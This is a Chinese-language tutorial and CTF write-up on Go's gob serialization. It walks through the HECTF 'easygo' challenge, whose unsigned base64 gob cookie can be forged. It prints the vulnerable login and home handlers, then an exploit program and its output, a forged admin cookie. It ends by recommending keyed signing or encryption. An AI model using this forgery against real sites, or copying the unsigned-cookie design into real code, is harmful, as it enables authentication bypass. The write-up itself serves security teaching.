Cookie安全之Golang-gob

> Go语言自带的序列化方式就是gob，一些go语言自带的包使用的序列化方式都是gob。下面介绍简单的用法。并且以次介绍cookie伪造

序列化

```go
package main

import (
    "bytes"
    "encoding/gob"
    "fmt"
)

type Users struct {
    Username string
    Password string
}

func main() {
    p := Users{
        Username: "admin",
        Password: "admin",
    } //定义序列化内容

    buf := bytes.Buffer{} //定义一个字节容器

    encoder := gob.NewEncoder(&buf) //初始化编码器

    err := encoder.Encode(p) //编码
    if err != nil {
        fmt.Println("编码失败,错误原因: ", err)
        return
    }
    fmt.Println(string(buf.Bytes())) //查看编码后的数据
}
```

```
E:\Gocode\Source\Source\gob>go run 1.go
-Users Username
                Password
                         adminadmin
```

反序列化

```go
package main

import (
    "bytes"
    "encoding/gob"
    "fmt"
)
```

```go

type Users struct {
    Username string
    Password string
}

func main() {
    s1 := Users{
        Username: "admin",
        Password: "admin",
    } //定义序列化内容

    buf := bytes.Buffer{}

    encoder := gob.NewEncoder(&buf)

    err := encoder.Encode(s1) //编码操作,相当于序列化过程哟~
    if err != nil {
        fmt.Println("编码失败,错误原因: ", err)
        return
    }

    decoder := gob.NewDecoder(bytes.NewReader(buf.Bytes()))
    fmt.Println("序列化 = ", buf.Bytes())

    var s2 Users

    decoder.Decode(&s2) //进行解码操作，相当于反序列化过程哟~
    fmt.Println("反序列化= ", s2)
}
```

```
E:\Gocode\Source\Source\gob>go run 2.go
序列化 =  [45 255 129 3 1 1 5 85 115 101 114 115 1 255 130 0 1 2 1 8 85 115 101 114 110 97 109 101 1 12 0 1 8 80 97 115 115 119 111 114 100 1 12 0 0 0 17 255 130 1 5 97 100 10
9 105 110 1 5 97 100 109 105 110 0]
反序列化=  {admin admin}
```

综合

```go
package main

import (
    "bytes"
    "encoding/gob"
    "fmt"
)

type Users struct {
    Username string
    Password string
}

func main() {
    User := Users{
        Username: "admin",
        Password: "admin",
    }
    var data = serialize(User)
    fmt.Println(serialize(User)) //序列化
```

```
21
22      fmt.Println(unseralize(data)) //反序列化
23  }
24  func serialize(instance Users) []byte {
25      var result bytes.Buffer             //定义一个字节容器
26      encoder := gob.NewEncoder(&result) //初始化编码器
27      encoder.Encode(instance)            //编码 相当于序列化
28      userBytes := result.Bytes()
29      return userBytes
30  }
31  func unseralize(data []byte) Users {
32      var account Users
33      decoder := gob.NewDecoder(bytes.NewReader(data)) //定义一个字节容器 并初始化
    解码器
34      decoder.Decode(&account)                         //解码 相当于反序列化
35      return account
36  }
```

上面的操作可以说是规定的，相当于直接在php中使用seralize和unseralize。只不过php帮我们封装好了，直接可以使用函数。

ctf题

> 来自HECTF 的easygo。考察反序列化cookie伪造

我们就直接分析源代码`functions.go`是自定义了一些函数，`main.go`表示路由的注册，`model.go`里面就定义了一个struct结构体，而重要的是`routes.go`表示路由。

我们详细看一下`login功能`

```
17  func login(w http.ResponseWriter, r *http.Request) {
18      if r.Method=="POST"{
19          r.ParseForm()
20          if r.Form["username"]==nil && r.Form["password"]==nil{
21              fmt.Fprint(w,"username and password is required")
22              return
23          }
24          a := r.Form["username"][0]
25          fmt.Println(a)
26          if r.Form["username"][0]=="admin"{
27              fmt.Fprint(w,"you are not admin")
28              return
29          }
30          User:=Users{
31              Username: r.Form["username"][0],
32              Password: r.Form["password"][0],
33          }
34          setCookie(w,r,cookieEncode(serialize(User)))
35          fmt.Fprint(w,"<script>window.location.href='/home'</script>")
36      }else{
37          fmt.Fprint(w,"Method not allowed")
38          return
39      }
40  }
```

可以看到，我们输入的username不能是`admin`，然后将`User`进行序列化，`cookieEncode`函数处理然后放到cookie中。

然后我们在看看home功能

```go
func home(w http.ResponseWriter,r *http.Request){
    if getCookie(r)!=nil {
        fmt.Println(getCookie(r))
        User:=unseralize(cookieDecode(getCookie(r).(string)))
        if User.Username=="admin"{
            flag ,_:= ioutil.ReadFile("/flag")
            fmt.Fprintln(w,string(flag))
        }else{
            fmt.Fprint(w,"only admin can see")
        }
    }else{
        fmt.Fprint(w,"<script>alert('Login first my baby');</script>")
        return
    }
}

```

知道这里是获得cookie,然后进行cookieDecode函数处理，然后在反序列化，得到原来的User。并且Username是admin就获得flag。

然后我们在看看序列化和反序列化和cookie函数是什么。

```go
func serialize(instance Users) []byte{
    var result bytes.Buffer
    encoder := gob.NewEncoder(&result)
    encoder.Encode(instance)
    userBytes := result.Bytes()
    return userBytes
}
func unseralize(data []byte) Users{
    var account Users
    decoder := gob.NewDecoder(bytes.NewReader(data))
    decoder.Decode(&account)
    return account
}
//序列化成[]byte 然后encode成string设置上去  把string decode成[byte]然后反序列化
//流程：string的cookie->解密成[]byte->反序列化->成为Users对象   序列化的[]byte->加密->放cookie里
func cookieEncode(data []byte) string{
    return base64.StdEncoding.EncodeToString(data)
}
func cookieDecode(data string) []byte{
    bytesData, _ := base64.StdEncoding.DecodeString(data)
    return bytesData
}
```

其实就是非常简单的操作，并且其中没有加入什么key和secret，这样的话我们就可以进行cookie伪造

```go
//exp
package main

import (
    "bytes"
    "encoding/base64"
    "encoding/gob"
    "fmt"
)

type Users struct {
    Username string
    Password string
}
```

```go

func main() {
    User := Users{
        Username: "admin",
        Password: "admin",
    }
    fmt.Println(cookieEncode(serialize(User)))
}
func serialize(instance Users) []byte {
    var result bytes.Buffer
    encoder := gob.NewEncoder(&result)
    encoder.Encode(instance)
    userBytes := result.Bytes()
    return userBytes
}
func cookieEncode(data []byte) string {
    return base64.StdEncoding.EncodeToString(data)
}
//Lf+BAwEBBVVzZXJzAf+CAAECAQhVc2VybmFtZQEMAAEIUGFzc3dvcmQBDAAAABH/ggEFYWRtaW4BBWFkbWluAA==
```

总结

其实上面的ctf题主要是cookie的问题，而这个问题存在各个语言中，当我们输入的敏感数据直接简单的加密或者编码操作后在序列化放到cookie中进行认证，就可能存在cookie伪造。

而正确的做法是，在存放到cookie中进行非对称加密，并且设置`key`或者`secret`。防止被伪造